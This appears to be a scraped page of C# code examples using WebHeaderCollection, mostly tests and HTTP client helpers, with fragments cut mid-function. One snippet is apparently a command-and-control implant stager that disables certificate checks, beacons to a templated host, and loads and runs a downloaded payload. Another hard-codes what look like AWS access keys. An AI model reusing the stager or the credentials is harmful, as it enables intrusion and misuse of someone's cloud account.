public void HttpRequestHeader_GetKey_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add("header1", "value1");
     w.Add("header1", "value2");
     Assert.NotEmpty(w.GetKey(0));
 }
 public void HttpRequestHeader_ToByteArray_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add("header1", "value1");
     w.Add("header1", "value2");
     byte[] byteArr = w.ToByteArray();
     Assert.NotEmpty(byteArr);
 }
 public void HttpRequestHeader_Get_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add("header1", "value1");
     w.Add("header1", "value2");
     string[] values = w.GetValues(0);
     Assert.Equal("value1", values[0]);
     Assert.Equal("value2", values[1]);
 }
Ejemplo n.º 4
0
 static WebHeaderCollection getHeader(System.Uri pUri)
 {
     var lHeader = new WebHeaderCollection();
     //lHeader.Add("Host", pUri.Host);
     //lHeader.Add("Get", pUri.PathAndQuery);
     //lHeader.Add("Accept", "*/*");
     lHeader.Add("Cache-Control", "no-cache");
     //lHeader.Add("Connection", "Keep-Alive");
     lHeader.Add("Pragma", "no-cache");
     //lHeader.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)");
     return lHeader;
 }
	public void TestWebHeaderCollectionAdd()
	{
		WebHeaderCollection whc = new WebHeaderCollection();
		whc.Add("phony:header");
		whc.Add("some", "stuff");
		try
		{
			whc.Add("nonsenseheader");
			Fail("Add: failed to throw exception for missing colon");
		}
		catch (ArgumentException)
		{
			// So far, so good.
		}
		try
		{
			whc.Add(null);
			Fail("Add: failed to throw exception for null header");
		}
		catch (ArgumentNullException)
		{
			// Still ok...
		}
		try
		{
			whc.Add(null, "theOtherCtor");
			Fail("Add: failed to throw header for null name");
		}
		catch (ArgumentNullException)
		{
			// Onward and upward...
		}
		try
		{
			whc.Add("accept:betterNot");
			Fail("Add: failed to throw exception for restricted header");
		}
		catch (ArgumentException)
		{
			// Add looks good...
		}
	}
        public void HttpRequestHeader_Add_Remove_Success()
        {
            WebHeaderCollection w = new WebHeaderCollection();
            w.Add(HttpRequestHeader.Warning, "Warning1");

            Assert.Equal(1, w.Count);
            Assert.Equal("Warning1", w[HttpRequestHeader.Warning]);
            Assert.Equal("Warning", w.AllKeys[0]);

            w.Remove(HttpRequestHeader.Warning);
            Assert.Equal(0, w.Count);
        }
Ejemplo n.º 7
0
 /// <summary>
 /// <see cref="HttpRequest.AppendHeaders"/>
 /// </summary>
 protected override void AppendHeaders(WebHeaderCollection headers)
 {
     headers.Add(HttpRequestHeader.ContentEncoding, "utf-8");
     base.AppendHeaders(headers);
 }
Ejemplo n.º 8
0
        public DataTable GetDataTable(string path, object arg)
        {
            try
            {
                DateTime t = DateTime.Now;


                HttpWebRequest req = WebRequest.Create(QuantAppURL.AbsoluteUri + path) as HttpWebRequest;
                req.Method      = "POST";
                req.ContentType = "application/json";
                var _header = new WebHeaderCollection();
                _header.Add("Authorization", "Bearer " + _token);
                req.Headers = _header;
                req.Timeout = timeout;

                string requestContent = arg == null ? "" : JsonConvert.SerializeObject(arg);
                req.ContentLength     = requestContent.Length;
                req.AllowAutoRedirect = false;

                using (StreamWriter w = new StreamWriter(req.GetRequestStream(), Encoding.ASCII)) { w.Write(requestContent); }

                var dataTable = new DataTable();


                using (HttpWebResponse res = req.GetResponse() as HttpWebResponse)
                {
                    var sbuilder = new StringBuilder(1000000);


                    using (StreamReader rdr = new StreamReader(res.GetResponseStream()))
                    {
                        var headers    = rdr.ReadLine().Split(',');
                        var type_names = rdr.ReadLine().Split(',');

                        int length = headers.Length;

                        var typeslist = new List <Type>();
                        for (int i = 0; i < length; i++)
                        {
                            var tp = Type.GetType(type_names[i]);
                            typeslist.Add(tp);
                            dataTable.Columns.Add(new DataColumn(headers[i], tp));
                        }

                        var types = typeslist.ToArray();

                        while (!rdr.EndOfStream)
                        {
                            var lines = rdr.ReadLine().Split(',');

                            var nrow = dataTable.NewRow();
                            for (int i = 0; i < length; i++)
                            {
                                var line   = lines[i];
                                var type   = types[i];
                                var header = headers[i];
                                if (type == typeof(int) || type == typeof(Int64))
                                {
                                    if (string.IsNullOrEmpty(line))
                                    {
                                        nrow[header] = int.MinValue;
                                    }
                                    else
                                    {
                                        nrow[header] = int.Parse(line);
                                    }
                                }
                                else if (type == typeof(double))
                                {
                                    if (string.IsNullOrEmpty(line))
                                    {
                                        nrow[header] = double.NaN;
                                    }
                                    else
                                    {
                                        nrow[header] = double.Parse(line);
                                    }
                                }
                                else if (type == typeof(bool))
                                {
                                    if (string.IsNullOrEmpty(line))
                                    {
                                        nrow[header] = false;
                                    }
                                    else
                                    {
                                        nrow[header] = bool.Parse(line);
                                    }
                                }
                                else if (type == typeof(DateTime))
                                {
                                    if (string.IsNullOrEmpty(line))
                                    {
                                        nrow[header] = DateTime.MinValue;
                                    }
                                    else
                                    {
                                        nrow[header] = DateTime.Parse(line);
                                    }
                                }
                                else// if (types[i] == typeof(string))
                                {
                                    nrow[header] = line.Replace((char)30, ',');
                                }
                            }
                            dataTable.Rows.Add(nrow);
                        }
                    }
                    return(dataTable);
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
            return(null);
        }
Ejemplo n.º 9
0
        private bool join(string comId, CookieContainer cc, MainForm form, config.config cfg)
        {
            util.debugWriteLine("follow user " + comId);
            for (int i = 0; i < 3; i++)
            {
                var comUrl  = "https://www.nicovideo.jp/user/" + comId;
                var url     = "https://www.nicovideo.jp/api/watchitem/add";
                var headers = new WebHeaderCollection();
                //				headers.Add("Upgrade-Insecure-Requests", "1");
                headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36");
                try
                {
                    /*
                     * var cg = new CookieGetter(cfg);
                     * var cgret = cg.getHtml5RecordCookie(url, isSub);
                     * cgret.Wait();
                     *
                     *
                     * //			cgret.ConfigureAwait(false);
                     * if (cgret == null || cgret.Result == null) {
                     *      System.Threading.Thread.Sleep(3000);
                     *      continue;
                     * }
                     * var _cc = cgret.Result[0];
                     *
                     * //					var _cc = cgret.Result[(isSub) ? 1 : 0];
                     * //					util.debugWriteLine(cg.pageSource);
                     *
                     * var isJidouShounin = util.getPageSource(url, ref headers, cc, comUrl).IndexOf("自動承認されます") > -1;
                     * //				var _compage = util.getPageSource(url, ref headers, cc);
                     * //				var gateurl = "http://live.nicovideo.jp/gate/lv313793991";
                     * //				var __gatePage = util.getPageSource(gateurl, ref headers, cc);
                     * //				var _compage2 = util.getPageSource(url, ref headers, cc);
                     * //					util.debugWriteLine(cc.GetCookieHeader(new Uri(url)));
                     * var msg = (isJidouShounin ? "フォローを試みます。" : "自動承認ではありませんでした。") + util.getMainSubStr(isSub, true);
                     * form.addLogText(msg);
                     *
                     *
                     * if (!isJidouShounin) return false;
                     */
                }
                catch (Exception e)
                {
                    return(false);
                }


                try
                {
                    var pageRes = util.getPageSource(comUrl, cc);
                    if (pageRes == null)
                    {
                        continue;
                    }
                    var token = util.getRegGroup(pageRes, "data-csrf-token=\"(.+?)\"");
                    if (token == null)
                    {
                        token = util.getRegGroup(pageRes, "Globals.hash = '(.+?)'");
                    }
                    if (token == null)
                    {
                        util.debugWriteLine("user follow token null " + comId);
                        return(false);
                    }

                    var handler = new System.Net.Http.HttpClientHandler();
                    handler.UseCookies      = true;
                    handler.CookieContainer = cc;
                    handler.Proxy           = null;


                    var http = new System.Net.Http.HttpClient(handler);
                    http.DefaultRequestHeaders.Referrer = new Uri(url);

                    /*
                     * var content = new System.Net.Http.FormUrlEncodedContent(new Dictionary<string, string>
                     * {
                     *      {"mode", "commit"}, {"title", "フォローリクエスト"}
                     * });
                     */
                    var    enc  = Encoding.GetEncoding("UTF-8");
                    string data =
                        "item_type=1&item_id=" + comId + "&token=" + token;
                    util.debugWriteLine(data);
                    byte[] postDataBytes = Encoding.ASCII.GetBytes(data);

                    var req = (HttpWebRequest)WebRequest.Create(url);
                    req.Method          = "POST";
                    req.Proxy           = null;
                    req.CookieContainer = cc;
                    req.Referer         = url;
                    req.ContentLength   = postDataBytes.Length;
                    req.ContentType     = "application/x-www-form-urlencoded";
                    req.Headers.Add("X-Requested-With", "XMLHttpRequest");
                    using (var stream = req.GetRequestStream())
                    {
                        try
                        {
                            stream.Write(postDataBytes, 0, postDataBytes.Length);
                        }
                        catch (Exception e)
                        {
                            util.debugWriteLine(e.Message + " " + e.StackTrace + " " + e.Source + " " + e.TargetSite);
                        }
                    }
                    //					stream.Close();


                    var res = req.GetResponse();

                    using (var getResStream = res.GetResponseStream())
                        using (var resStream = new System.IO.StreamReader(getResStream))
                        {
                            var resStr = resStream.ReadToEnd();

                            var isSuccess = resStr.IndexOf("{\"status\":\"ok\"}") > -1;
                            if (!isSuccess)
                            {
                                util.debugWriteLine(resStr);
                                Thread.Sleep(3000);
                                continue;
                            }
                            //var _m = (form.rec.isPlayOnlyMode) ? "視聴" : "録画";
                            //form.addLogText((isSuccess ?
                            //                 "フォローしました。" + _m + "開始までしばらくお待ちください。" : "フォローに失敗しました。") + util.getMainSubStr(isSub, true));
                            return(isSuccess);
                        }

                    //				resStream.Close();


                    //				Task<HttpResponseMessage> _resTask = http.PostAsync(url, content);

                    //				_resTask.Wait();
                    //				var _res = _resTask.Result;

                    //				var resTask = _res.Content.ReadAsStringAsync();
                    //				resTask.Wait();
                    //				var res = resTask.Result;
                    //			var a = _res.Headers;

                    //			if (res.IndexOf("login_status = 'login'") < 0) return null;

                    //				var cc = handler.CookieContainer;
                }
                catch (Exception e)
                {
                    //form.addLogText("フォローに失敗しました。");
                    util.debugWriteLine(e.Message + e.StackTrace);
                    continue;
                    //					return false;
                }
            }
            //form.addLogText("フォローに失敗しました。");
            util.debugWriteLine("フォロー失敗");
            return(false);
        }
Ejemplo n.º 10
0
    public static void Execute()
    {
        string[] pageget =
        {
            #PAGEGET #
        };

        string[] pagepost =
        {
            #PAGEPOST #
        };

        string param     = "#PARAM#";
        string serverkey = "#SERVERKEY#";
        string host      = "#HOST#";

        string namedpipe = "#PIPENAME#";

        int port            = 0;
        int targetframework = 40;

        Int32.TryParse("#PORT#", out port);
        Int32.TryParse("#FRAMEWORK#", out targetframework);

        Thread.Sleep(10000);
        AgentIdReqMsg agentIdReqMsg = new AgentIdReqMsg();

        agentIdReqMsg.address   = host;
        agentIdReqMsg.port      = port;
        agentIdReqMsg.request   = "agentid";
        agentIdReqMsg.framework = targetframework;


        string agentidrequesttemplate = new JavaScriptSerializer().Serialize(agentIdReqMsg);
        bool   agentexit = false;

        while (true && !agentexit)
        {
            try
            {
                string resp                = "";
                string cookievalue         = "";
                NamedPipeClientStream pipe = null;
                if (string.IsNullOrEmpty(namedpipe))
                {
                    CookiedWebClient wc = new CookiedWebClient();
                    wc.UseDefaultCredentials = true;
                    wc.Proxy             = WebRequest.DefaultWebProxy;
                    wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;

                    WebHeaderCollection webHeaderCollection = new WebHeaderCollection();

                    webHeaderCollection.Add(HttpRequestHeader.UserAgent, "#USERAGENT#");

                    #HEADERS #

                    wc.Headers = webHeaderCollection;

                    ServicePointManager.Expect100Continue      = true;
                    ServicePointManager.SecurityProtocol       = (SecurityProtocolType)3072;
                    ServicePointManager.DefaultConnectionLimit = 9999;
                    ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return(true); });

                    string post      = String.Format("{0}={1}", param, EncryptMessage(serverkey, agentidrequesttemplate));
                    string rpaddress = String.Format("https://{0}:{1}/{2}", host, port, pagepost[new Random().Next(pagepost.Length)], post);

                    resp = wc.UploadString(rpaddress, post);

                    Cookie cookie = wc.ResponseCookies["sessionid"];
                    cookievalue = cookie.Value;
                }
                else
                {
                    try
                    {
                        pipe = new NamedPipeClientStream(host, namedpipe, PipeDirection.InOut, PipeOptions.Asynchronous);
                        pipe.Connect(5000);
                        pipe.ReadMode = PipeTransmissionMode.Message;

                        //Write AgentIdReqMsg
                        var agentIdrequest = EncryptMessage(serverkey, agentidrequesttemplate);
                        pipe.Write(Encoding.Default.GetBytes(agentIdrequest), 0, agentIdrequest.Length);

                        var messageBytes = ReadMessage(pipe);
                        resp = Encoding.UTF8.GetString(messageBytes);
                    }
                    catch (Exception)
                    {
                    }
                }

                var        line       = DecryptMessage(serverkey, resp);
                AgentIdMsg agentIdMsg = new JavaScriptSerializer().Deserialize <AgentIdMsg>(line);

                object[] agrsstage = new object[] {
                    line, cookievalue, pipe
                };

                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(getPayload(agentIdMsg.stage));
                assembly.GetTypes()[0].GetMethods()[0].Invoke(null, agrsstage);
            }
 public void ToString_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add("Accept", "text/plain");
     w.Add("Content-Length", "123");
     Assert.Equal(
         "Accept: text/plain\r\nContent-Length: 123\r\n\r\n",
         w.ToString());
 }
        public void Clear_Success()
        {
            WebHeaderCollection w = new WebHeaderCollection();
            w.Add("Accept", "text/plain");
            w.Add("Content-Length", "123");

            Assert.NotEmpty(w);
            w.Clear();
            Assert.Empty(w);
        }
Ejemplo n.º 13
0
        private String PostDataToParse(String ClassName, Dictionary <String, Object> PostObject, String ObjectId = null)
        {
            if (String.IsNullOrEmpty(ClassName) || PostObject == null)
            {
                throw new ArgumentNullException(string.Format("ClassName: {0} PostObject: {1}", ClassName, PostObject));
            }

            if (String.IsNullOrEmpty(ObjectId) == false)
            {
                ClassName += "/" + ObjectId;
            }

            WebHeaderCollection parseHeaders = new WebHeaderCollection();

            parseHeaders.Add("X-Parse-Application-Id", ApplicationId);
            parseHeaders.Add("X-Parse-REST-API-Key", ApplicationKey);

            WebRequest webRequest = WebRequest.Create(classEndpoint + "/" + ClassName);

            //webRequest.Credentials = new NetworkCredential(ApplicationId, ApplicationKey);
            webRequest.Method  = "POST";
            webRequest.Headers = parseHeaders;
            if (String.IsNullOrEmpty(ObjectId) == false)
            {
                webRequest.Method = "PUT";
            }

            object classValue = null;

            if (PostObject.TryGetValue("Class", out classValue))
            {
                //Remove Class value to prevent from storing as an actual column in the table.
                PostObject["Class"] = null;
                PostObject.Remove("Class");
            }
            String postString = JsonConvert.SerializeObject(PostObject);

            PostObject["Class"] = classValue;

            byte[] postDataArray = Encoding.UTF8.GetBytes(postString);

            webRequest.ContentLength = postDataArray.Length;
            webRequest.Timeout       = ConnectionTimeout;
            webRequest.ContentType   = "application/json";

            Stream writeStream = webRequest.GetRequestStream();

            writeStream.Write(postDataArray, 0, postDataArray.Length);
            writeStream.Close();

            HttpWebResponse responseObject = (HttpWebResponse)webRequest.GetResponse();

            if (responseObject.StatusCode == HttpStatusCode.Created || true)
            {
                StreamReader responseReader = new StreamReader(responseObject.GetResponseStream());
                String       responseString = responseReader.ReadToEnd();
                responseObject.Close();

                return(responseString);
            }
            else
            {
                responseObject.Close();
                throw new Exception("New object was not created. Server returned code " + responseObject.StatusCode);
            }
        }
Ejemplo n.º 14
0
        public void Add_InvalidHeader_ThrowsArgumentException(string header, string paramName)
        {
            var headers = new WebHeaderCollection();

            AssertExtensions.Throws <ArgumentException>(paramName, () => headers.Add(header));
        }
        /// <summary>
        /// Create an image on an entity-set with media-type.
        /// </summary>
        /// <param name="url">The URL of an entity-set with media-type.</param>
        /// <param name="requestHeaders">The request headers.</param>
        /// <param name="imagePath">The local path of an image which will be inserted to server.</param>
        /// <returns>Returns the HTTP response.</returns>
        private static HttpWebResponse CreateImage(string url, IEnumerable <KeyValuePair <string, string> > requestHeaders, string imagePath)
        {
            if (requestHeaders != null)
            {
                Headers = requestHeaders;
            }
            else
            {
                requestHeaders = Headers;
            }
            if (!Uri.IsWellFormedUriString(url, UriKind.Absolute) ||
                string.IsNullOrEmpty(imagePath))
            {
                return(null);
            }

            var headers = new WebHeaderCollection();

            foreach (var header in requestHeaders)
            {
                headers.Add(header.Key, header.Value);
            }

            try
            {
                byte[] image = File.ReadAllBytes(imagePath);
                if (null != image && 0 != image.Length)
                {
                    var req = WebRequest.Create(url) as HttpWebRequest;
                    req.Method        = HttpMethod.Post;
                    req.Headers       = headers;
                    req.ContentType   = Constants.ContentTypeJPEGImage;
                    req.ContentLength = image.Length;

                    using (Stream dataStream = req.GetRequestStream())
                    {
                        dataStream.Write(image, 0, image.Length);
                    }

                    return(req.GetResponse() as HttpWebResponse);
                }
            }
            catch (DirectoryNotFoundException ex)
            {
                throw new DirectoryNotFoundException(ex.Message);
            }
            catch (FileNotFoundException ex)
            {
                throw new FileNotFoundException(ex.Message);
            }
            catch (WebException ex)
            {
                return(ex.Response as HttpWebResponse);
            }
            catch (Exception ex)
            {
                throw new Exception(ex.Message);
            }

            return(null);
        }
Ejemplo n.º 16
0
        // Server API

        internal unsafe static WebHeaderCollection GetHeaders(byte[] memoryBlob, IntPtr originalAddress)
        {
            NetEventSource.Enter(null);

            // Return value.
            WebHeaderCollection headerCollection = new WebHeaderCollection();
            fixed (byte* pMemoryBlob = memoryBlob)
            {
                HTTP_REQUEST* request = (HTTP_REQUEST*)pMemoryBlob;
                long fixup = pMemoryBlob - (byte*)originalAddress;
                int index;

                // unknown headers
                if (request->Headers.UnknownHeaderCount != 0)
                {
                    HTTP_UNKNOWN_HEADER* pUnknownHeader = (HTTP_UNKNOWN_HEADER*)(fixup + (byte*)request->Headers.pUnknownHeaders);
                    for (index = 0; index < request->Headers.UnknownHeaderCount; index++)
                    {
                        // For unknown headers, when header value is empty, RawValueLength will be 0 and 
                        // pRawValue will be null.
                        if (pUnknownHeader->pName != null && pUnknownHeader->NameLength > 0)
                        {
                            string headerName = new string(pUnknownHeader->pName + fixup, 0, pUnknownHeader->NameLength);
                            string headerValue;
                            if (pUnknownHeader->pRawValue != null && pUnknownHeader->RawValueLength > 0)
                            {
                                headerValue = new string(pUnknownHeader->pRawValue + fixup, 0, pUnknownHeader->RawValueLength);
                            }
                            else
                            {
                                headerValue = string.Empty;
                            }
                            headerCollection.Add(headerName, headerValue);
                        }
                        pUnknownHeader++;
                    }
                }

                // known headers
                HTTP_KNOWN_HEADER* pKnownHeader = &request->Headers.KnownHeaders;
                for (index = 0; index < HttpHeaderRequestMaximum; index++)
                {
                    // For known headers, when header value is empty, RawValueLength will be 0 and 
                    // pRawValue will point to empty string ("\0")
                    if (pKnownHeader->pRawValue != null)
                    {
                        string headerValue = new string(pKnownHeader->pRawValue + fixup, 0, pKnownHeader->RawValueLength);
                        headerCollection.Add(HTTP_REQUEST_HEADER_ID.ToString(index), headerValue);
                    }
                    pKnownHeader++;
                }
            }

            NetEventSource.Exit(null);
            return headerCollection;
        }
Ejemplo n.º 17
0
        private InputChunkState setTrailer(byte[] buffer, ref int offset, int length)
        {
            // Check if no trailer.
            if (_trailerState == 2 && buffer[offset] == 13 && _saved.Length == 0)
            {
                offset++;
                if (offset < length && buffer[offset] == 10)
                {
                    offset++;
                    return(InputChunkState.End);
                }

                offset--;
            }

            while (offset < length && _trailerState < 4)
            {
                var b = buffer[offset++];
                _saved.Append((char)b);
                if (_saved.Length > 4196)
                {
                    throwProtocolViolation("The trailer is too long.");
                }

                if (_trailerState == 1 || _trailerState == 3)
                {
                    if (b != 10)
                    {
                        throwProtocolViolation("LF is expected.");
                    }

                    _trailerState++;
                    continue;
                }

                if (b == 13)
                {
                    _trailerState++;
                    continue;
                }

                if (b == 10)
                {
                    throwProtocolViolation("LF is unexpected.");
                }

                _trailerState = 0;
            }

            if (_trailerState < 4)
            {
                return(InputChunkState.Trailer);
            }

            _saved.Length -= 2;
            var reader = new StringReader(_saved.ToString());

            string line;

            while ((line = reader.ReadLine()) != null && line.Length > 0)
            {
                _headers.Add(line);
            }

            return(InputChunkState.End);
        }
Ejemplo n.º 18
0
        /// <summary>
        /// 执行上传
        /// </summary>
        /// <param name="filename">文件路径</param>
        /// <param name="pid">分Pid</param>
        public async Task DoUpload(string filename, int pid = 1)
        {
            Console.WriteLine("正在准备上传:P" + pid + "。");
            await Task.Run(() =>
            {
                PreUpload(filename);
                if (IsPreloadSucceed)
                {
                    Console.WriteLine("开始上传:P" + pid + "。");
                    //创建分片队列
                    List <Task <bool> > UploadQueue = new List <Task <bool> >();
                    int taskwaiting = ChunkCount;
                    while (taskwaiting > 0)
                    {
                        for (int i = 0; i < UploadQueue.Count; i++)
                        {
                            if (UploadQueue[i].IsCompleted)
                            {
                                if (UploadQueue[i].Result == false)
                                {
                                    Console.Error.WriteLine("上传错误:P" + pid + "分片上传错误。");
                                    variables.IsHasError = true;
                                    return;
                                }
                                else
                                {
                                    UploadQueue.Remove(UploadQueue[i]);
                                }
                            }
                        }

                        while (UploadQueue.Count < ThreadCount && taskwaiting > 0)
                        {
                            UploadQueue.Add(ChunkUpload(filename, pid, ChunkCount - taskwaiting));
                            taskwaiting--;
                        }
                    }

                    //等待所有分片上传
                    foreach (Task <bool> task in UploadQueue)
                    {
                        task.Wait();
                        if (task.Result == false)
                        {
                            Console.Error.WriteLine("上传错误:P" + pid + "分片上传错误。");
                            variables.IsHasError = true;
                            return;
                        }
                    }

                    //完成分片上传
                    if (variables.IsIgnoreError || !variables.IsHasError)
                    {
                        if (http.Options("https:" + EndPoint + Key + "?output=json&name=" + fi.Name + "&profile=ugcupos%2Fbup&uploadId=" + UploadId + "&biz_id=" + Biz_id, variables.Cookies))
                        {
                            PartInfo pi = new PartInfo()
                            {
                                parts = new List <ChunkInfo>()
                            };

                            for (int i = 1; i <= ChunkCount; i++)
                            {
                                pi.parts.Add(new ChunkInfo()
                                {
                                    partNumber = i
                                });
                            }

                            WebHeaderCollection headers = new WebHeaderCollection();
                            headers.Add("X-Upos-Auth", Auth);

                            string str = http.PostBody("https:" + EndPoint + Key + "?output=json&name=" + fi.Name + "&profile=ugcupos%2Fbup&uploadId=" + UploadId + "&biz_id=" + Biz_id, JsonConvert.SerializeObject(pi), variables.Cookies, "application/json; charset=utf-8", "", "", headers);
                            if (!string.IsNullOrEmpty(str))
                            {
                                JObject obj = JObject.Parse(str);
                                if ((int)obj["OK"] == 1)
                                {
                                    fns = Key.Remove(0, 5);
                                    fns = fns.Remove(fns.LastIndexOf('.'));

                                    variables.FileList[pid - 1] = fns;
                                    Console.WriteLine("上传完成:P" + pid + "。");
                                }
                                else
                                {
                                    Console.Error.WriteLine("上传错误:P" + pid + "上传错误。无法完成上传。");
                                    variables.IsHasError = true;
                                    return;
                                }
                            }
                            else
                            {
                                Console.Error.WriteLine("上传错误:P" + pid + "上传错误。无法完成上传。");
                                variables.IsHasError = true;
                                return;
                            }
                        }
                        else
                        {
                            Console.Error.WriteLine("上传错误:P" + pid + "上传错误。无法完成上传。");
                            variables.IsHasError = true;
                            return;
                        }
                    }

                    //默认封面
                    if (pid == 1 && variables.CoverFile == "")
                    {
                        Console.WriteLine("未设置稿件封面,将使用P1的第一张系统截图作为封面。");
                        SetDefaultCover();
                    }
                }
                else
                {
                    Console.Error.WriteLine("上传错误:P" + pid + "上传预配置接口错误。");
                    variables.IsHasError = true;
                }
            });
        }
Ejemplo n.º 19
0
        public static void UploadToS3Bucket(string awsId, string secretId, string filePath)
        {
            awsId    = "AKIAICVZGN6JMIIZXGJA"; // "4211-0344-4755";
            secretId = "ThshN4U9NO88kkuUZ7EoX0yjrEm3DyY5t+Fobrq4";
            //filePath = @"C:\Users\rdangar\Pictures\Screenshots\NiceRead.jpg";

            //Read file content
            byte[] fileData = File.ReadAllBytes(filePath);

            // the canonical string combines the request's data with the current time
            string httpDate = DateTime.UtcNow.ToString("ddd, dd MMM yyyy HH:mm:ss ") + "GMT";

            // our request is very simple, so we can hard-code the string
            //string canonicalString = "GET\n\n\n\nx-amz-date:" + httpDate + "\n/";
            string canonicalString = "PUT\n" +                              //HTTP Verb
                                     "\n" +                                 //content-md5
                                     "image/jpeg\n" +                       //content-type
                                     "\n" +                                 //date
                                     "x-amz-date:" + httpDate + "\n" +      //optionally, AMZ date
                                     "/ksnrootbucket/NiceRead.jpg";         //resource

            // now encode the canonical string
            Encoding ae = new UTF8Encoding();

            // create a hashing object
            HMACSHA1 signature = new HMACSHA1();

            // secretId is the hash key
            signature.Key = ae.GetBytes(secretId);
            byte[] bytes     = ae.GetBytes(canonicalString);
            byte[] moreBytes = signature.ComputeHash(bytes);

            // convert the hash byte array into a base64 encoding
            string encodedCanonical = Convert.ToBase64String(moreBytes);

            // here is the basic Http Web Request
            string         url     = "https://ksnrootbucket.s3-us-west-2.amazonaws.com/NiceRead.jpg";
            HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;

            request.Method        = "PUT";
            request.Host          = "ksnrootbucket.s3-us-west-2.amazonaws.com";
            request.ContentType   = "image/jpeg";
            request.ContentLength = fileData.Length;
            WebHeaderCollection headers = (request as HttpWebRequest).Headers;

            headers.Add("x-amz-date", httpDate);
            headers.Add("Authorization", "AWS " + awsId + ":" + encodedCanonical); // finally, this is the Authorization header.

            Stream reqStream = request.GetRequestStream();

            reqStream.Write(fileData, 0, fileData.Length);
            reqStream.Close();

            // read the response stream and put it into a byte array
            HttpWebResponse response = request.GetResponse() as HttpWebResponse;
            Stream          stream   = response.GetResponseStream() as Stream;

            //byte[] buffer = new byte[32 * 1024];
            //int nRead = 0;
            //MemoryStream ms = new MemoryStream();
            //do
            //{
            //    nRead = stream.Read(buffer, 0, buffer.Length);
            //    ms.Write(buffer, 0, nRead);
            //} while (nRead > 0);

            //// convert read bytes into string
            //ASCIIEncoding encoding = new ASCIIEncoding();
            //string responseString = encoding.GetString(ms.ToArray());
            Console.Write("File uploaded to S3: ");
        }
Ejemplo n.º 20
0
 ///<summary>
 ///读取指定URL的文本
 ///</summary>
 ///<param name="URL">请求的地址</param>
 ///<returns>服务器响应文本</returns>
 public string OpenRead(string URL)
 {
     requestHeaders.Add("Connection", "close");
     SendRequestData(URL, "GET");
     return(GetHtml());
 }
 /// <summary>
 /// Adds header information that authenticates the request to Tableau Online
 /// </summary>
 /// <param name="webHeaders"></param>
 private void AppendLoggedInHeadersForRequest(WebHeaderCollection webHeaders)
 {
     webHeaders.Add("X-Tableau-Auth", _onlineSession.LogInAuthToken);
     _onlineSession.StatusLog.AddStatus("Append header X-Tableau-Auth: " + _onlineSession.LogInAuthToken, -20);
 }
        public static ServiceCallItem FromFiddlerFrame(UInt32 frameId, ZipArchiveEntry cFileStream, ZipArchiveEntry mFileStream, ZipArchiveEntry sFileStream, Func <WebHeaderCollection, bool> filterCallback)
        {
            ServiceCallItem frame = new ServiceCallItem();

            frame.m_id = frameId;

            // Read the client part of the frame (###_c.txt)
            using (var cFileMemory = Utils.DecompressToMemory(cFileStream))
            {
                using (var cFile = new BinaryReader(cFileMemory))
                {
                    var fileLine = cFile.ReadLine();

                    var firstLineSplit = fileLine.Split(' ');

                    // CONNECT Frames should not be in the analysis.
                    if (firstLineSplit[0] == "CONNECT")
                    {
                        System.Diagnostics.Debug.WriteLine("CONNECT Frames should not be in the analysis.");
                        return(null);
                    }

                    // Fiddler Test Frames can cause LTA to break.  This filters out those fames.
                    if (firstLineSplit[1].StartsWith("http:///", true, null))
                    {
                        System.Diagnostics.Debug.WriteLine("Fiddler Test Frames should not be in the analysis.");
                        return(null);
                    }

                    frame.m_isGet  = firstLineSplit[0].Equals("GET");
                    frame.m_method = firstLineSplit[0];

                    // Extract the XUID (if any) from the first line of the client side of the frame
                    // POST https://userpresence.xboxlive.com/users/xuid(2669321029139235)/devices/current HTTP/1.1
                    frame.m_xboxUserId = Utils.GetXboxUserID(firstLineSplit[1]);

                    // Grab just the url from the line
                    frame.m_uri = firstLineSplit[1];

                    // Read the Request Headers
                    fileLine = cFile.ReadLine();
                    var reqHeaders = new WebHeaderCollection();
                    while (String.IsNullOrWhiteSpace(fileLine) == false)
                    {
                        try
                        {
                            reqHeaders.Add(fileLine);
                        }
                        catch (Exception)
                        {
                            // This will throw if a header value contains invalid characters
                            // Ignore and continue
                        }

                        fileLine = cFile.ReadLine();
                    }

                    System.Diagnostics.Debug.WriteLine("Analyzing " + frame.m_uri);
                    // Filter calls with headers
                    if (filterCallback != null && !filterCallback(reqHeaders))
                    {
                        return(null);
                    }

                    frame.m_host = reqHeaders["Host"];

                    // Read the Request Body
                    string contentEncoding = reqHeaders["Content-Encoding"];
                    if (!string.IsNullOrWhiteSpace(contentEncoding) && contentEncoding.Equals("deflate", StringComparison.OrdinalIgnoreCase))
                    {
                        using (var memory = Utils.InflateData(cFile.ReadToEnd()))
                        {
                            using (var data = new BinaryReader(memory))
                            {
                                fileLine = Encoding.ASCII.GetString(data.ReadToEnd());
                            }
                        }
                    }
                    else
                    {
                        fileLine = Encoding.ASCII.GetString(cFile.ReadToEnd());
                    }

                    frame.m_reqHeader   = reqHeaders.ToString();
                    frame.m_reqBody     = fileLine;
                    frame.m_reqBodyHash = (UInt64)frame.m_reqBody.GetHashCode();
                }
            }

            // Read the frame metadata (###_m.xml)
            using (var mFile = new StreamReader(mFileStream.Open()))
            {
                String rawData = mFile.ReadToEnd();
                var    xmldata = System.Xml.Linq.XDocument.Parse(rawData);

                var sessionTimers = xmldata.Element("Session").Element("SessionTimers");
                var reqTime       = DateTime.Parse((String)sessionTimers.Attribute("ClientBeginRequest")).ToUniversalTime();
                frame.m_reqTimeUTC = (UInt64)reqTime.ToFileTimeUtc();

                var endTime = DateTime.Parse((String)sessionTimers.Attribute("ClientDoneResponse")).ToUniversalTime();
                frame.m_elapsedCallTimeMs = (UInt64)(endTime - reqTime).TotalMilliseconds;

                var sessionFlags = xmldata.Element("Session").Element("SessionFlags");

                foreach (var flag in sessionFlags.Descendants())
                {
                    if ((String)flag.Attribute("N") == "x-clientip")
                    {
